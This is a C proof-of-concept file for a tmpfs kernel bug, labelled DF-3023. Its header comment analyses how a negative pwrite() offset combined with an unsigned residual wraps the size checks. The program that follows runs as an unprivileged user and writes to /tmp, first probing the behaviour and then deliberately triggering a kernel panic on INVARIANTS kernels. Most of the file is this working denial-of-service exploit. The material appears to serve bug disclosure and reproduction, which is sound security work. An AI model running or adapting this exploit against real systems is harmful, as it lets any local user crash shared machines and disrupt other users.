/*
 * DF-3023 — tmpfs_write() has no uio_offset < 0 rejection (its read
 * sibling tmpfs_read:559 has one).  sys_extpwrite() passes a negative
 * pwrite() offset through unvalidated, and because uio_resid is an
 * UNSIGNED size_t, the bounds arithmetic wraps mod 2^64:
 *
 *   entry check   : uio_offset(-32752) + uio_resid(32752) == 0
 *                   -> passes tm_maxfilesize / RLIMIT_FSIZE checks
 *   iteration 1   : len = 16368, uio_offset + len = -16384
 *                   -> as unsigned: huge > tn_size -> resize requested
 *   tmpfs_reg_resize(vp, (off_t)-16384, ...)
 *                   -> KKASSERT(newsize >= 0)
 *                   -> panic: tmpfs_subr.c:990
 *
 * On non-INVARIANTS kernels the KKASSERTs compile out and
 * round_page64(-16384)/PAGE_SIZE becomes a huge page count which trips
 * the tm_pages_max ENOSPC check -> clean error, no corruption.
 *
 * Also demonstrates (no panic): aligned negative single-block writes
 * pass all checks and reach bread() at loffset -16384, which the buffer
 * cache rejects with EFAULT ("tmpfs_write uiomove error 14" on console).
 *
 * unprivileged (any user with write access to /tmp), default tmpfs /tmp.
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

static char b[65536];

int main(void)
{
	int fd;
	ssize_t r;
	struct stat st;

	memset(b, 'A', sizeof b);

	/* (1) probe: entry-sum wraps to 0; buffer layer answers EFAULT */
	fd = open("/tmp/df3023_probe", O_CREAT | O_RDWR | O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return 1; }
	r = pwrite(fd, b, 16384, -16384);
	fstat(fd, &st);
	printf("[probe ] pwrite(16384 @ -16384) = %zd errno=%d size=%lld\n",
	    r, r < 0 ? errno : 0, (long long)st.st_size);
	close(fd);
	unlink("/tmp/df3023_probe");

	/* (2) panic: iteration-1 sum wraps to -16384 -> reg_resize(-16384) */
	fd = open("/tmp/df3023_panic", O_CREAT | O_RDWR | O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return 1; }
	printf("[panic ] pwrite(32752 @ -32752) launching...\n");
	fflush(stdout);
	r = pwrite(fd, b, 32752, -32752);
	printf("[panic ] returned %zd errno=%d (kernel did NOT panic?)\n",
	    r, r < 0 ? errno : 0);
	return 0;
}
